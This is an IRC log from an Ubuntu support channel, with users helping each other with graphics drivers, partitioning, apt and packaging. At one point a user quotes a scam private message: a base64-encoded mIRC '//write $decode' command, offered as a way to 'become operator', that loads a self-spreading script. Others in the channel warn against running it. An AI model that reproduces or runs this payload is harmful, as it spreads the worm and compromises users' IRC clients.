NoUsemitzkrieg do you have anything like xfree86-4.conf in /etc/X11 ?10:21
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HurgaNeoFax: http://paste.ubuntulinux.nl/175010:21
CPD|nons_so when I do that dualboot install, I wont harm my files right?10:21
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CPD|nons_cause "backup any valuable documents/photos etc" gives me the creeps :p10:22
chrismyNeoFax, what 'source' means?10:22
ivoksHurga: time for new cd burner?10:22
bimberiCPD|nons_: it's good advice though :)10:22
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NeoFaxCPD|nons_: I have never resized an NTFS partition, so I cannot say.  I would use Partition Magic or something of this nature to resize my partitions.10:22
Hurgaivoks: no, works fine with Knoppix10:23
NeoFaxchrismy: It tells bash to read that file and execute the commands within10:23
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CPD|nons_ok, so its only a general warning, thanks again :)10:23
chrismy!source10:23
ubotuNo idea, chrismy10:23
chrismy:P10:23
RobHuWhat changes do I need to my apt sources to upgrade to Breezy?10:23
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vbgunzhello everyone!10:23
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chrismyNeoFax, well said :D erm so is it possible that i use 'source' command to read and execute other files?10:24
IcemanV9chrismy: OR (from manpage) Shell builtin commands are commands that can be executed within the running shell's process.10:24
chrismyIcemanV9, ahh ok so only shell commands....i got it now.... thanks :D10:25
naliothRobHu: if you like surprises, you can open your sources.list and change all instances of 'hoary' to 'breezy' (but i'd advise against it, cuz it's still in breakage with each update mode)10:25
chrismyinteresting..10:25
NeoFaxchrismy: No, bash is designed to only understand the commands in that file.  Not just .bashrc, it could be whatever.txt, but the names like alias, eval, ...10:25
NeoFaxHurga: Your burner is on hdc right?10:26
HurgaNeoFax: Yes10:26
chrismyNeoFax, aha! ok got it10:26
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IcemanV9learned something new every day, eh? :P10:27
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chrismyerm anyone helps me on my graphics driver quests? i have odd problems(not serious) which i know not10:27
RobHunalioth: Surprises it is!10:27
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NoUsemitzkrieg remember that linux is case sensative10:27
vbgunzhello everyone!10:27
NeoFaxHurga: Then, the only thing that it looks like is the kernel talking to the drive as it is getting a timeout and read errors.10:27
NeoFaxWhat chipset do you have?10:27
naliothRobHu: don't say i didnt warn you10:28
HurgaNeoFax: Intel 440BX10:28
RobHunalioth: :-D10:28
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nomedhi all10:28
Hurga(yes, rather old=10:28
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Dragon513a.. how do you know if AMD10:28
vbgunzI have a quick question about IRC. Can anyone be kind enough to point me to a page on how to change my password for IRC? I am looking and it seems you either can't do it or there is no point. I've googled a bit and found nothing. Someone please help!10:28
Dragon513's cool and quiet10:28
Dragon513is working?10:28
chrismyNeoFax, nforce410:28
chrismyoops10:29
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waynekrusehi10:29
chrismyNeoFax, Geforce FX520010:29
nomedanyone having problem with hoary and  Intel Corp. 82801CA/CAM AC'97 Audio Controller10:29
mitzkriegtrying again10:29
waynekrusei need some help with setting up PHP, MYSQL, and Apache on Hoary10:29
chrismywaynekruse, what is that about?10:29
NeoFaxHurga: Have you tried setting the hdparm for that to say -X33?10:29
NoUse!lamp10:30
ubotuit has been said that lamp is Linux-Apache-MySQL-PHP, one of the standard internet server installations. Installing LAMP in Hoary is fairly straightforward. More info at https://wiki.ubuntu.com/ApacheMySQLPHP10:30
dinnomed: modprobe snd-intel8x010:30
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NeoFaxchrismy: What problem are you having with a NVIDIA card?10:30
waynekruseok, ill look for LAMP10:30
TheMagnumMunkeyhi, um i installed misfit modellor through the generic instructions (cd, configure, make, make install)and restarted, but now i cant find it in any of my menus10:30
nomeddin .. lsmod snd_intel8x0,snd_intel8x0m10:30
HurgaNeoFax: No. Will try. BRB reboot (device is stuck from using cdrecord)10:30
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Dragon513Does anyone know how to find out CPU frequency? I just want know make sure Cool'nQuite is working all right10:30
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TheMagnumMunkeywaynekruse, no i do not fall for scams like that10:31
BockBilbohello?10:31
dinnomed: so what's the problem?10:31
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nomeddin. do you know why hotplug probe this snd_intel8x0m10:31
chrismyNeoFax, nothing happens in windows. but i ahve no idea how to install drivers on ubuntu linux. i rather go for this https://wiki.ubuntu.com/NvidiaManual?highlight=%28nvidia%29     than   the nvidia-glx. is that ok?10:31
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mitzkriegtyped it in exactly like this /etc/Xll and it didn't take10:31
HappyFoolTheMagnumMunkey: you may have to add a launcher yourself, say to the panel10:31
naliothvbgunz: try /msg nickserv help10:31
Olsenhow do i change a user group?10:31
nomeddin, no mixer  elems found10:31
NoUsemitzkrieg 'cd /etc/X11' fails? with what error?10:31
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bimberiDragon513: There's a CPU Frequency monitor among the panel applets10:32
naliothomfg. they are gettin smarter.10:32
mitzkriegoh geez, nevermind, i was typing the letter L, not #110:32
mitzkriegok, i'm in the directory10:32
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RootsOlsen?10:32
TheMagnumMunkeyHappyFool, nice to see your helping me out again (i got a new nick) but how would i do that10:32
RootsWhy is your alias my last name :P10:33
NoUsemitzkrieg there should be a file xorg.conf, paste that and /var/log/Xorg.0.log to pastebin10:33
NoUse!tell mitzkrieg about pastebin10:33
mitzkriegroger10:33
HappyFoolTheMagnumMunkey: you need to know the name of the program (i.e., the name of the executable)10:33
OlsenRoots: I want to move my user to users group10:33
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TheMagnumMunkeyohh10:33
HappyFoolTheMagnumMunkey: it's probably in /usr/local/bin10:33
TheMagnumMunkeywould that be in the folder i ran the ./configure script from?] 10:33
TheMagnumMunkeyok10:33
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TheMagnumMunkeyok its there10:34
RootsI got the following Pm, which I think is a scam::: <waynekruse> Want to be an OPERATOR in #ubuntu ? copy/paste this-> //write  $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIFdhbnQgdG8gYmUgYW4gT1BFUkFUT1IgaW4gJGNoYW4gPyBjb3B5L3Bhc3RlIHRoaXMtPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=,m10:34
Roots) | .load -rs  | //mode $me +R10:34
naliothRoots: dont run that10:34
chrismyRoots, what is that?10:34
SeveasRoots, fool10:34
nomedRoots, the same10:34
chrismyRoots, is that real?10:34
Seveasdon't take that for real10:34
dinumm10:34
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chrismySeveas, ok10:34
RootsThank you10:34
Seveaswaynekruse is an idiot10:34
naliothchrismy: dont do it, it'll do bad things to your box10:34
dinthat's an mirc script10:34
RootsI didn't run it10:34
Olsenhow can i move my user to the users group?10:34
bimberiRoots, so did I - ignored10:34
HappyFoolTheMagnumMunkey: then right-click on the panel, choose 'add to panel' and 'custom application launcher'10:34
kelperrI am new to Linux and I am still trying to learn as much as I could. I converted a RPM package to deb and I did dpkg -i to instlall it. Here is the log of the installation10:34
chrismynalioth, hell him!10:34
apokryphossilly phools :D10:34
BockBilboRoots, i got it too10:34
RootsI just wanted to point it out10:34
kelperrUnpacking replacement gyach-enhanced-media-package ...10:34
kelperrSetting up gyach-enhanced-media-package (0.2-2) ...10:34
kelperrroot@94544:/home/lexmark/Desktop #10:34
chrismynalioth, oh and hi agian...we meet again:D10:34
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TheMagnumMunkeyHappyFool, there is no custom aplication launcher item in the menu10:35
naliothSeveas: get the bigger hammer10:35
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kelperrI tried typing gyach from run and it says it could not locate gyach10:35
dinthx Seveas10:35
mitzkriegonce i'm in the directory, how do you get the xorg.conf to show up so i can pastebin it10:35
BockBilbothks Seveas10:35
dinmorons i tell you10:35
HappyFoolTheMagnumMunkey: did you clcik 'Add to panel' ?10:35
NeoFaxchrismy: That is explaining how to do the nvidia-glx10:35
chrismyis waynekru a bot?10:35
BurgundaviaTheMagnumMunkey, alt-f2 to launch it10:35
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kelperrcan anyone tell me if that means if the programs is installed properly?10:35
Seveaskelperr, it is10:36
naliothchrismy: no, he's just a dumbass10:36
Seveasbut NEVER paste in here10:36
HappyFoolTheMagnumMunkey: right-click on open space on the panel (panels are the bars at the top and bottom of the screen)10:36
kelperrsorry Seveas10:36
TheMagnumMunkeyim running KDE, just to let you know HappyFool10:36
TheMagnumMunkeyand im not a noob'10:36
HappyFoolTheMagnumMunkey: ah10:36
CarlFKwhat would run decode()?  (guessing xchat?)10:36
HappyFoolTheMagnumMunkey: sorry, i'm not familiar with kde10:36
Seveasmirc10:36
chrismyNeoFax, yes but i encouter have problems saying failed this and that. when booting my monitor flickers and kicked me out in the black and cold terminal10:36
NoUsemitzkrieg use gedit10:36
dini'm running e1710:36
din:p10:36
BurgundaviaTheMagnumMunkey, you might get better help in #kubuntu10:36
kelperrjust another quick Seveas, if that program is installed properly.. how can I locate it?10:36
dinactually it's e16.99910:36
bobbydwhy would my dvd reader be really slow when copying files to my hard drive?10:37
CarlFKrats. I wanted to see what it decoded to10:37
kelperrfile search did not find anything10:37
bobbyd(3MB/sec)10:37
TheMagnumMunkeykubuntu doesnt talk and its ok i figured it out10:37
naliothbobbyd: dma issues?10:37
NeoFaxchrismy: Have you tried sudo nvidia-glx-config enable?10:37
TheMagnumMunkeyand for all you gnome-ers, i higly reccomend KDE10:37
chrismynalioth, what is the purpose of the script? what it does to our linux box?10:37
dinhttp://din.homelinux.net/gallery/album02/e17 :p10:37
Seveaskelperr, dpkg -L packagename10:37
bobbydnalioth, how do I debug that? it worked fine under gentoo btw.10:37
dinmy wallpaper is animated hehe10:37
chrismyNeoFax, i tried all10:37
naliothkelperr: open a terminal and type "sudo updatedb" after that is done, you should get results from your search after that10:37
chrismyNeoFax, erm i tried the https://wiki.ubuntu.com/NvidiaManual?highlight=%28nvidia%2910:37
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chrismyNeoFax, before that was the nvidia-glx10:38
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NeoFaxchrismy: Is the nvidia driver loaded?  do lsmod | grep nvidia10:38
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chrismyNeoFax,  nvidia               4386600  1210:38
HurgaNeoFax: same thing again. - Any ideas? compiling a new kernel?10:38
kelperrThanks Seveas and nalioth10:38
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NeoFaxchrismy: Is nvidia in your xorg.conf file?10:39
Olsenhow can i move a user to a group??10:39
chrismyNeoFax, oh yes10:39
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chrismyNeoFax, Driver"nvidia"10:39
SlantDoes anyone know how broken Breezy is? I'm considering migrating my laptop tonight, but it would be good to know what I'm getting into ahead of time.10:40
NeoFaxHurga: I guess so, as the Intel chipsets are fairly well supported.10:40
HappyFoolOlsen: maybe system -> administration -> user and groups is what you want?10:40
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HappyFoolOlsen: what do you want to achieve?10:40
SlantMy laptop is currently Hoary.10:40
naliothSlant: it could break with any update10:40
NeoFaxchrismy: What AGP chipset are you using nforce?10:40
tstuartHi all! I have just started running Ubuntu AMD64 on my laptop10:40
tstuartI hope someone can help me with a strange connection problem10:40
Slantnalioth: I realize it _could_ break, but that doesn't necessarily mean it will. That's why I was asking about the current status. :-\10:41
HurgaNeoFax: Thought so. I mean... cmmon (if a bit old) chipset, and the Cyberdrive writer is far from exotic too10:41
chrismyNeoFax, erm i am not very good in this. but how so you mean? how do i check it? my model is GeForce FX 520010:41
naliothSlant: if you are running x86, you should have the least trouble of any arch (notice the word trouble)10:41
NeoFaxHurga: You could also try updating the cdburners bios.10:41
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tstuartThe problem is that I first must use nslookup to find a site, and then I can connect to it10:42
anacaonaivoks: no pointers for my routing issue?10:42
NeoFaxchrismy: What mobo do you have?10:42
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ivoksanacaona: meeting...10:42
chrismyNeoFax, mobo?10:42
anacaonaoops. ok.10:42
NeoFaxHurga: firmware not bios I meant10:42
chrismy!mobo10:42
ubotuparse error: dunno what the heck you're talking about, chrismy10:42
chrismyhahaha10:42
NeoFaxchrismy: motherboard10:42
chrismyNeoFax, Nforce410:42
HurgaNeoFax: got you. Shouldn't be too old though.10:42
QMarioHow do I view Quicktime and Windows Media movies in Firefox?10:42
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chrismyNeoFax, let me get you the details hold10:43
QMario!Mplayer10:43
ubotuwell, mplayer is https://wiki.ubuntu.com/MplayerInstallHowto.  For compiling, see: http://ubuntuforums.org/showthread.php?t=3106110:43
NeoFaxchrismy: Are you using NVIDIA's drivers for the NForce?10:43
mitzkriegok, i pastebin'd10:43
chrismyNeoFax, K8N Neo310:43
chrismyNeoFax, yes all and everything about Nvidia10:43
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NeoFaxchrismy: Have you tried the Option  "NVagp"  "some option"  option?10:44
squinnwhy do i always join ubuntu-unregged at xchat startup10:44
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squinni have freenode log me in at server connet10:44
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squinnconnect*10:44
CookedGryphonHi, i want to know 2 things, firstly if i install a new distro, can i keep all mysettings and all my data in my home folder intact?10:44
naliothQMario: there is an mplayer plugin that plays quicktime, mpg, avi and such, but i'm not sure if it plays wmv10:44
_mindspindoes anybody know where I can read freenode Memos ?10:44
chrismyNeoFax, how so? in the Xorg.conf?10:45
NeoFaxCookedGryphon: If your /home is on a seperate partition, Yes10:45
QMarioNalioth, where can I get the plugin?10:45
mgbaronhi,  i've been using ximian evolution for a couple months with it set to "check incoming mail for junk" but i haven't noticed that it has found any.  am i missing something?  how would I know?10:45
kelperrSeveas, when I type dpkg -L gyach-enhanced-media-package_0.2-2_i386.deb it says "package not installed"10:45
NeoFaxchrismy: Yes, right under the driver "nvidia" option.10:45
vbgunzthank you nalioth!10:45
Seveasdpkg -L gyach-enhanced-media-package10:45
chrismyNeoFax, ah ok hold on10:45
CookedGryphonNeoFax, it aint10:45
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CookedGryphonNeoFax, what then?10:46
Ebowleshow can I change my opengl drivers?10:46
bimberi_mindspin: "/query memoserv" then type "help"10:46
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_mindspinthanks10:46
bimberiyw :)10:46
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NeoFaxCookedGryphon: You could resize one of your partitions to accomodate your home and move your files from your currrent /home to there10:46
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CookedGryphonhmm, its a bit of a faff10:46
h0sl3rAnything better than gaim out there? I want something that wont take up half of my desktop.10:47
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NoUsemitzkrieg what model card do you have?10:47
cemcwhere can i learn about packaging in ubuntu? creating .deb files10:47
NeoFaxCookedGryphon: You could also hook up a usb drive and move the files and then put on the new distro and move them back10:47
CookedGryphon15gb of files?10:47
mitzkrieg9600 XT10:47
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NoUsemitzkrieg did you follow the ATI Wiki page closely? You didn't complete all the steps10:48
NeoFaxcemc: Go to the debian developers page.  That will explain how to make debs10:48
!lilo:*! Two small server upgrades; affected users, about 6010:48
mitzkriegi thought i did. i can try again. wouldn't be suprised if i muffed something up10:48
mitzkriegbrb10:48
chrismyNeoFax, sorry was chatting the #blenderchat to find out when will be the latest version...i mean book :P10:48
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NoUsemitzkrieg you need to change ati fglxr or something in the conf file10:49
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NoUsemitzkrieg ati to fglxr*10:49
mitzkriegroger10:49
seliniumHi all! what is the easiest way to get my remote machine to download an ftp file?10:49
NeoFaxCookedGryphon: I highly suggest not using the same /home folder for two different distros.  i.e. You have KNOPPIX and Ubuntu installed on the same PC and they share the /home folder.10:49
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yahalomis there any distro that installs from one floppy?10:50
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NoUsemitzkrieg make sure my spelling is right on the wiki10:50
stodgeHey guys - is there a codeblocks package for Ubuntu anywhere?10:50
mitzkriegk10:50
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CookedGryphonNeoFax, i'm not gonna install em at the same time, i'm talking if i want to install a new distro but keep all my data10:50
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NeoFaxCookedGryphon: Either by usb drive or resize your partition and create a new partition.10:51
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mitzkriegi think i know what i did wrong. one sec10:51
NeoFaxchrismy: Read the NVIDIA file for all of the options for the NVagp feature.10:52
CookedGryphonNeoFax, how hard is it to resizxe partitions if i allocate too much space to my home folder n don't ahve enuf space for apps etc?10:52
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NeoFaxCookedGryphon: How big of a HDD do you have?10:52
anacaonacan anyone else help me? my server can't use a dialup internet connection while connected to the lan.10:52
Ebowleshow can I change my opengl drivers?10:52
CookedGryphonNeoFax,  30GB10:53
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CookedGryphonand 15GB of music10:53
chrismyNeoFax, there are three part which has 'options' too10:53
CookedGryphonthen i'll want extra space in case i get more, and for work files etc10:53
iratsuif i install a new kernel image, do i have to reinstall nvidia-glx?10:53
nitrocksi'm about to switch over from debian to ubuntu.. i have purchased a new hd and i was wondering what would be the best filesystem to format the drive with?.. ext3?10:53
bobbydnalioth, my problem is similar to this one: http://ubuntuforums.org/archive/index.php/t-9285.html10:53
NeoFaxCookedGryphon: I normally do 20GB for / (/,/usr,/opt,/var./tmp), 10-20GB for /home and 20MB for /boot10:53
chrismyNeoFax, there is no NVagp10:53
bobbydnalioth, I get an error when I try to turn DMA on, but it worked under gentoo. do you think it's somehow loading the wrong module for the dvd rom drive?10:54
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nitrocksthis new drive will be and slave and will contain all my data (mp3s, etc..) from my previous debian install10:54
NeoFaxchrismy: You have a Devices section in xorg.conf and it goes in their.10:54
mitzkrieggotta restart, be back if it didn't work10:54
bytefoohow can i see the version of a package10:55
QMarioWhenever I try to open MSS, it crashes. Why is this?10:55
Hurgawhere can I get the config of the currently installed kernel?10:55
vbgunzHello everyone, I am back... I have an interesting question regarding Ubuntu...10:55
chrismyNeoFax, can i paste it here?10:55
QMario Multimedia System Selector(MSS). 10:55
bimberinitrocks: the default ubuntu install uses ext3 (hopefully that answers :) )10:55
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Ebowleshow can I make it so I don't have to manually turn on dma mode every time I restart?10:56
naliothbobbyd: i'm not familiar with hdparm settings. sorry10:56
QMarioHello Seveas! :)10:56
QMarioHello ompaul! :)10:56
CarlFKEbowles - search the wiki - there is exact instuctions on what you need10:56
QMarioHello chrismy! :)10:56
chrismyQMario, yes?10:56
iratsuIf i install a new kernel image, do i have to reinstall nvidia-glx?10:56
vbgunzwill ubuntu ever standalone in a pluggable virtual machine like metropipe linux found here http://www.metropipe.net/ProductsPVPM.shtml10:57
chrismyQMario, (a bit dumb) HELLO QMario !!!!10:57
chrismyQMario, hahha10:57
CarlFKiratsu - no10:57
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CarlFKiratsu - at least I dont think so.10:57
NeoFaxchrismy: Check this out: ftp://download.nvidia.com/XFree86/Linux-x86/1.0-7667/README.txt10:57
Ebowles!dma10:57
iratsuCarlFK: what would explain me getting (EE) NVIDIA(0): Failed to load the NVIDIA kernel module! in X after upgrading my kernel then?10:57
vbgunzI don't mean standalone like the only way to go but standalone so I can take Ubuntu with me and plug up anywhere with a USB10:58
NeoFaxchrismy: Do not paste it here, that is a pain for evryone else10:58
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brk3hi, im looking to install ubuntu but my disk isnt partitioned. seen as the ubuntu installer doesnt do this, can anyone suggest a good windows tool to do it?10:58
vbgunzubuntu does partition the disk10:58
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CarlFKiratsu - needing to upgrade the kernel modules?  (this sounds familiar)(10:58
chrismyNeoFax, :( i ahve been there. it is precisely the same as the page i pasted to you10:59
brk3vbgunz: does it?10:59
vbgunzjust go ahead with install and you'll see you can parition it especially if it isn't already partitioneed10:59
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vbgunzyes, the installer does not the live cd10:59
brk3vbgunz: isnt it a tricky text mode one though10:59
nitrockswhen you do a cp -r, does that perserve the permissions, etc.. associated with the files?10:59
vbgunzyeah but it isn't too hard10:59
CarlFKnitrocks - no.  use -a10:59
bobbydwhere do I add config options for modules on load?10:59
NeoFaxchrismy: Down in appendix F(I think) it talks about all of the options you can use.10:59
vbgunzI learned ubuntu uses ext3 format and just set it too /11:00
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cemcNeoFax: after that? for ubuntu it's exactly the same thing ?11:00
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vbgunzthats your root, then say automatically partition it although if you want to get technical Ubuntu could beat you too the punch11:00
seliniumHi Seveas! you were going to help me through my first compile the ohter night. then you logged out. If you have got any time I can paste the output up again?11:00
HurgaI need the config of the distro kernel. Where can I find it?11:00
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mitzkriegNOUSE: it worked, thanks. it was all a case of mispelling on my part11:01
vbgunzhey sorry brk3 my last note might confuse you... I mean the install cd partitions the disk, the live cd does not11:01
Seveasselinium, there's a CC meeting now - so i'm busy11:01
kelperrjust another quick question.. I could not locate the commmand line for the alien package convertor to convert rpms to debs?11:01
kelperrdoes anyone know11:01
seliniumSeveas: np maybe some other time :)11:01
thrushkelperr, maybe alien -d *.rpm11:02
brk3vbgunz: no i got that. dunno im just a little worried using this. ubuntus installer really needs to go graphical11:02
flipmochances are I'm a bit useless, but I can't for the life of me get Synaptic to install gcc-4.0 so that "gcc --version" returns 4.0 instead of 3.3.511:02
seliniumHi all! what is the easiest way to get my remote machine to download an ftp file?11:02
kelperrthanx thrush11:02
NoUsemitzkrieg cool11:02
kelperrdamm, why are developers are not leaving documentation11:02
vbgunzI agree, I believe it is being worked on but incredibly if you go ahead with the default installation it really is straightforward... I never played or worked with linux before... I went through the default install only once and at the end had it up and running... was pretty easy11:03
bimberibrk3: there's an overview of the process here https://wiki.ubuntu.com/forum/installation/Partitioning11:03
brk3vbgunz: ok.. but if i lose my data im coming after you :p11:03
brk3bimberi: thanks11:03
vbgunzwoah11:03
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vbgunzyou have data?11:04
bimberibrk3: back up first :)11:04
vbgunzdude hold up11:04
vbgunzyeah it might confuse you11:04
brk3i dont really, its a new laptop11:04
NeoFaxcemc: Compiling a deb is the same whether you use Ubuntu, Deban, Xandros or MEPIS.  The difference is the debs that are already installed.11:04
vbgunzI believe you might have to download partman or something11:04
vbgunzhold up11:04
bimberivbgunz: no, it's ok11:04
brk3i just dont want to go through the whole system restore thing if it fucks up11:05
vbgunzif you have nothing to backup, theres nothing to worry about11:05
bimberibrk3: laptop preinstalled with windows?11:05
vbgunzyou can just dual boot too11:05
brk3bimberi: ya11:05
brk3vbgunz: thats what i want to do11:05
vbgunzits pretty easy if you let grub take it over11:05
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bimberibrk3: ok, it should be fine :)11:05
brk3vbgunz: my main concern is that resizing the windows partition will ruin it11:05
thrushmanually edit partition table takes you into cfdisk right?11:05
vbgunzI have some advice though as it seems to not happen to some people11:05
thrushnm =)11:06
bimberibrk3: i'd never say never, but it should be ok :)11:06
vbgunzif you try to install grub but get a fatal error theres two things you can do without having to install lilo11:06
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ohphrackudose someone want to explain to me why apt-get remove *foo is a dependency hell raiser?11:06
cg0defdoes phpmysql work with apache2?11:06
Kyralohphracku, use debfoster11:06
vbgunzone, if grub fails you'll be given a list of things to do... you can either repartition so go back to that step in the list OR finish install and install again11:07
cg0defcause I can't get it to work at all11:07
iratsuCarlFK: how do i upgrade kernel modules?11:07
brk3The Warty installer did not have this functionality, but the Hoary installer does.11:07
brk3there was my problem11:07
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brk3ok thanks for the advice - here goes11:07
lancer285does anyone know anything about remapping keys on my keyboard?11:07
vbgunzanother thing11:07
LasseLlancer285, most of it is in the menu11:08
brk3ya?11:08
ohphrackuor why apt just sucks i mean u want to install kde right then good ol apt says hey i'll install 234 packages as well just to make him really happy ;-{11:08
lancer285LasseL, which menu?11:08
vbgunzin case you already have a dual boot and your trying to turn it into a triple boot be aware something happens and mappings are moved around11:08
LasseLlancer285, system > pref > keyboard shortcuts11:08
brk3na dont have that11:08
brk3never heard of a triple boot :)11:08
Kyralohphracku, its because KDE won't work without most of those :P11:08
vbgunzso easy to fix but nothing huge to sweatr11:08
lancer285LasseL, will that work for the 'extra key's my keyboard has?11:08
ohphrackuwhen i say install somthin i mean only core absolutly requierd packs11:08
vbgunzI don't know if theres a word for it but I have a triple boot11:08
iratsuHow can i upgrade kernel modules?11:08
brk3what're the chances that grub wont work and i get locked out of the system11:08
LasseLlancer285, i don't know about multimedia keys11:09
LasseLlancer285, i got my windows key working though11:09
ohphrackuthats bull dude ive built kde from source i know what makes it work11:09
Kyralohphracku, then install them by hand (individual apt-gets)11:09
ohphrackuu cant11:09
lancer285LasseL, yeah, I have multimedia keys on my keyboard I'd like to get working11:09
ohphrackui dose what it wants to11:09
vbgunzI don't think it will happen... I installed ubuntu three times on on the first time each I always got the fatal error... to fix it was simple... just either step back to repartition OR install again to the same spot... miraculously it always worked the second time around11:10
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LasseLlancer285, I think you have to use xmodmap for those, it is a FAQ google for it11:10
lancer285LasseL, okay, thanks I'll check that out11:10
ohphrackui use slackware, gentoo and i feel happy it dose what i want when i tell it and only what i tell it11:10
Kyralohphracku, there is nothing stopping you from downloading the sources from KDE.org and compiling it manually11:11
vbgunzdoes anyone here know of a standalone virtual machine for Ubuntu like metropipe Linux...11:11
QMarioChrismy, how do I get the mplayer plugin to work in Mozilla Firefox?11:11
KyralI also wish there was a base KDE metapack, but there isn't11:11
ohphrackuyes but why is this the approach of apt devs its nonsense11:11
KyralYou mean the Ubuntu devs11:11
LasseLohphracku, did you find the "just work" button in gentoo, if so, let me know ... :p11:11
apokryphosKyral: base kde metapack? As in, the core stuff?11:12
vbgunzI am trying to take Ubuntu with me and unlike the live cd I wish to carry my settings with me and etc11:12
Kyraland then email'em11:12
Kyralapokryphos, yes11:12
apokryphosKyral: kde-core11:12
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ohphrackuyeah i did its called experience11:12
Kyralohphracku, there you go :P11:12
ohphracku:] 11:12
apokryphosall in the installing kde wiki...11:12
Kyralkde-core11:12
LasseLbah11:12
apokryphos!wiki InstallingKDE11:12
bluefoxicyoh God this is lame.11:12
apokryphoshm11:12
bluefoxicythe dillo folk are switching to FLTK211:12
apokryphoshttp://wiki.ubuntu.com/InstallingKDE11:12
Kyralohphracku, and I also worked with Gentoo11:12
LasseLu t1nk u r l337 d00d ?11:13
unvs_"i installed gentoo in a snap with no problems" holds as much water as "i went alone on vacation to sweden and banged 200 chicks"11:13
bluefoxicymy only guess on why-- popularity not supporting it-- is that it's probably a smaller library with a smaller footprint than GTK+211:13
bluefoxicyof course11:13
bluefoxicythat being the case, then they failed to realize that GTK+2 is probably already loaded and installed11:13
KyralI hated having to reinstall like crazy and the fricken compile times11:13
Kyralno thanks, I'll take my Ubuntu11:13
bluefoxicymeaning that using FLTK2 over GTK+2 will wind out increasing the memory and installation footprint overall of Dillo in most cases.11:13
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bluefoxicyso much for that project.11:14
Kyraland if you want to use Gentoo, use Gentoo11:14
Kyralthis ain't Gentoo11:14
flipmoI can't for the life of me get Synaptic to install gcc-4.0 so that "gcc --version" returns 4.0 instead of 3.3.5, anyone want to throw some ideas at me?11:14
Kyralnor is it Windows, or is it MEPIS, nor is it Slackware11:14
flipmoIt's listed as an installed package, but no dice11:14
Kyralso bitching about "I did it that way there" won't get you anywhere11:14
ohphrackuim not rippin on ubuntu or debian i am just amazed at how bad apt is11:14
HobartCan anyone help with accelerated 3D setup for a 3D Rage LT Pro on Hoary?11:14
iratsuif i installed a newer kernel image, how can i revert to an older one?11:15
cemcNeoFax: ok, thx11:15
KyralIts called apt-cache search11:15
Kyrallearn to use the damn tool, if you are so 133711:15
ohphrackui like ubuntu for its kickstart functionality feature and not to much bloat11:15
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KyralWow, where the fuck did THAT come from11:15
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apokryphosohphracku: what's wrong with apt?11:16
KyralIts not Portage11:16
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Kyralin a nutshell11:16
ohphrackuok11:16
Snadderwhen does next version of ubuntu come out?11:17
apokryphosKyral: isn't that a good thing?11:17
KyralIs to me11:17
apokryphosSnadder: October11:17
CarlFKSnadder - Oct11:17
CarlFKdam.11:17
apokryphos!breezyschedule11:17
CarlFK;)11:17
ubotusomebody said breezyschedule was at https://wiki.ubuntu.com/BreezyReleaseSchedule11:17
KyralOct 16 IIRC11:17
ohphracku5 mins ago i wanted to remove one package11:17
Kyralyah? And?11:17
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Kyralif nothing else needs its depends it pulls them too11:18
Kyralgood thing IMO11:18
chrismyNeoFax, nah not workin11:18
deflux-Anyone run Ubuntu on a Mac Mini?11:18
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deflux-As soon as it tries to go into X, my Apple 23" HD display goes into sleep mode, and nothing responds.11:18
Hobartdeflux-, I booted the LiveCD successfully before but that was about it11:18
LaschWIs there any low level installation documentation for Ubuntu? Having a closer look on http://www.ubuntuguide.org/ it seems not to be suitable for newbies..11:18
ohphrackuand i simulated it and it spits out that it would basically remove my whole desktop environment the package is not requiered but yet apt thinks so11:18
HobartThere's a boot option like "ofvideo" or something11:18
Kyralwhat package?11:19
apokryphosohphracku: /me wagers that wasn't the case11:19
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deflux-Hobart: I thought that was only for the install?11:19
Hobartto use only the open firmware video driver instead of trying to use the native ATI driver I think11:19
deflux-What is ofvideo?11:19
apokryphosif other things depend on it, then it removes them too11:19
HobartI think it's like falling back to the 'vesa' server on Intel boxes11:19
ohphrackuok im on a desktop why would laptop-detect be required11:19
tagHow do I just create a .deb?11:19
apokryphostag: not that easy; check the MOTU wikipage for a few useful links11:20
LasseLohphracku, the ubuntu-desktop package is just a meta package, you can remove that if you want11:20
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Kyralholy shit he is right11:20
ohphrackuno11:20
tagnot that easy11:20
tag?11:20
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LasseLohphracku, it is just a meta package that describes all the junk that goes in with a default install11:20
tagThat's surprising11:20
KyralThing wanted to rape my desktop11:20
apokryphosKyral: what pack?11:20
ohphrackuno11:21
ohphrackunonono11:21
ohphrackudude11:21
Kyrallaptop-detect11:21
QMarioKyral, language... :(11:21
ohphrackucommunication breakdown11:21
Kyraldo a sudo apt-get remove laptop-detect -s11:21
ohphrackudude stop talkin to me like im a f*in newb11:21
apokryphosinteresting11:22
ohphrackui did that i know the tool11:22
ohphracku!11:22
ubotuohphracku: Are you on ritalin?11:22
Kyralohphracku, stop acting like it11:22
KyralYou talk like I'm an idiot, I talk to you like you are a moron11:22
apokryphosguys guys :D11:22
topylio great11:22
dalamarwhy is snes9x / zsmes so damn slow on even a decent system?11:22
ohphrackuso are u on the dev teaM?11:22
ohphrackuno11:23
Kyraland I'm NOT in a good mood today, seeing as a have a frickin' Calculus exam on Thurs11:23
dalamars/zmses/zsnes11:23
ohphrackuif u r you sure should not b11:23
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Kyral...someone stop me from killing him11:23
Hobarttag, google deb howto , http://linuxdevices.com/articles/AT8047723203.html11:23
topyliKyral: we don't care. this is a technical help channel11:23
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topylitry #ubuntu-offtopic11:23
Kyraltopyli, I know, but I don't have to put up with attitude11:23
LasseLKyral, go do your homework then11:23
KyralLasseL, someone is helping me with it after the Linux Lab meeting tonight11:24
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KyralKyral != Good at Calc11:24
dalamarhere's on topic: why does snes9x run like ass in ubuntu?11:24
LasseLbest prepare then11:24
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Kyraluse ZSNES :P11:24
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topyliheh11:24
dalamarzsnes runs worse ;)11:24
ohphrackuyes i am a newb to deb and ubuntu but i come from well more hands on dists11:24
KyralDo you have the right drivers for you card installed?11:25
QMarioKyral, Linux Lab meeting?11:25
!lilo:*! Three servers restarted: affected users, about 80.11:25
QMarioWhat is that?11:25
chrismy:D11:25
ohphrackuso the crap that apt gives me is maddining11:25
Kyralmy University is an Ubuntu mirror11:25
dalamari have the default nvidia drivers running yes11:25
iratsuif i installed a newer kernel image, how can i revert to an older one?11:25
lancer285anyone have experience setting up multimedia keys in ubuntu?11:25
